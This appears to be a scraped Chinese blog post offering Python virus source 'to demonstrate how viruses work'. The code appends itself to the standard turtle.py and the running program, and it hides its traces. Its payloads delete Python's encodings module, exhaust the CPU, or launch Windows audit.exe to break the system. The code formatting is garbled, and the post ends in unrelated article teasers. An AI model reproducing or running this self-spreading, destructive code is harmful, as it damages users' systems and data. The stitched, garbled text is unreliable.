我設計乙個病毒程式, 演示計算機病毒的工作原理。
本程式由四大部分組成 :
step1:
# mark是木馬的標識
mark=
"#####mypython####"
#v1.0.1
code=
''# 獲取木馬的程式**
with
open
(__file__,encoding=
"utf-8"
)as f:
for line in f:
if mark in line.strip():
code=line+f.read(
)# 複製木馬自身
defspread
(mod)
:file
=__import__
(mod)
.__file__
# 判斷檔案中是否已存在木馬
with
open
(file
,'r'
,encoding=
'utf-8'
)as f:
for line in f:
if mark in line:
return
# 判斷待寫入檔案大小
if os.path.getsize(
file
)>
1200
:# 將**寫入檔案末尾
with
open
(file
,'a'
,encoding=
'utf-8'
)as f:
f.write(code)
try:
# 將**寫入python標準庫的turtle.py
# 這樣使用者呼叫import turtle時, 會自動執行木馬
# 可將turtle改為site, 增加木馬傳播機會
spread(
'turtle'
)# 複製木馬到正在執行的主程式
spread(
'__main__'
)except
:pass
# 在turtle模組中, 防止木馬被發現
del spread,code,mark,f,line
技巧:
使用__file__獲取程式檔名
使用__import__()函式直接匯入模組
使用標籤(如: #####mypython####) 標識木馬程式
運用os.path.getsize函式獲取檔案大小
step2: 新增破壞性的**
import os,random,encodings
if random.randrange(1,
300)==1
:# 移除encodings模組, 使python無法正常啟動
os.remove(encodings.__file__)
或:
import os
if random.randrange(1,
30)==1
:# 占用系統資源, 使計算機執行速度變慢
for i in
range(4
):# 4為cpu執行緒數
os.system(
'pythonw.exe -c "while true:pass"'
)
或:
import os
# 呼叫windows的安裝程式, 破壞系統
os.system(os.path.join(os.getenv(
'windir'),
'system32\\oobe\\audit.exe'))
step3: 傳播到pyc檔案
參見我的文章: python bytecode 位元組碼解析與插入、修改
Python實現簡單的SI傳播模型
si疾病傳播模型的原理 在經典的傳染病模型中,種群 population 內n個個體的狀態可分為如下幾類 易感狀態 susceptible 乙個個體在感染前是處於易感狀態的,即該個體有可能被鄰居個體感染。易感狀態i infected 乙個感染上某種病毒的個體就稱為是處於感染狀態。即該個體還會以一定概...
python合法常量 Python常量的簡單實現
眾所周知,在python中其實並沒有乙個嚴格定義的常量概念。目前所採用的常用約定俗成的方式是採用命名全為大寫字母的方式來標識別常量。但實際上這種方式並不能起到防止修改的功能,而只是從語義和可讀性上做了區分。那麼,應該怎麼實現乙個簡單的常量呢?這個就需要借助於python裡的物件導向的實現和描述符 值...
python的簡單使用 python模組簡單使用
建立你自己的模組是十分簡單的,你一直在這樣做!每個python程式也是乙個模組。你已經確保它具有.py副檔名了。下面這個例子將會使它更加清晰。建立你自己的模組 例8.3 如何建立你自己的模組 usr bin python filename mymodule.py defsayhi print hi,...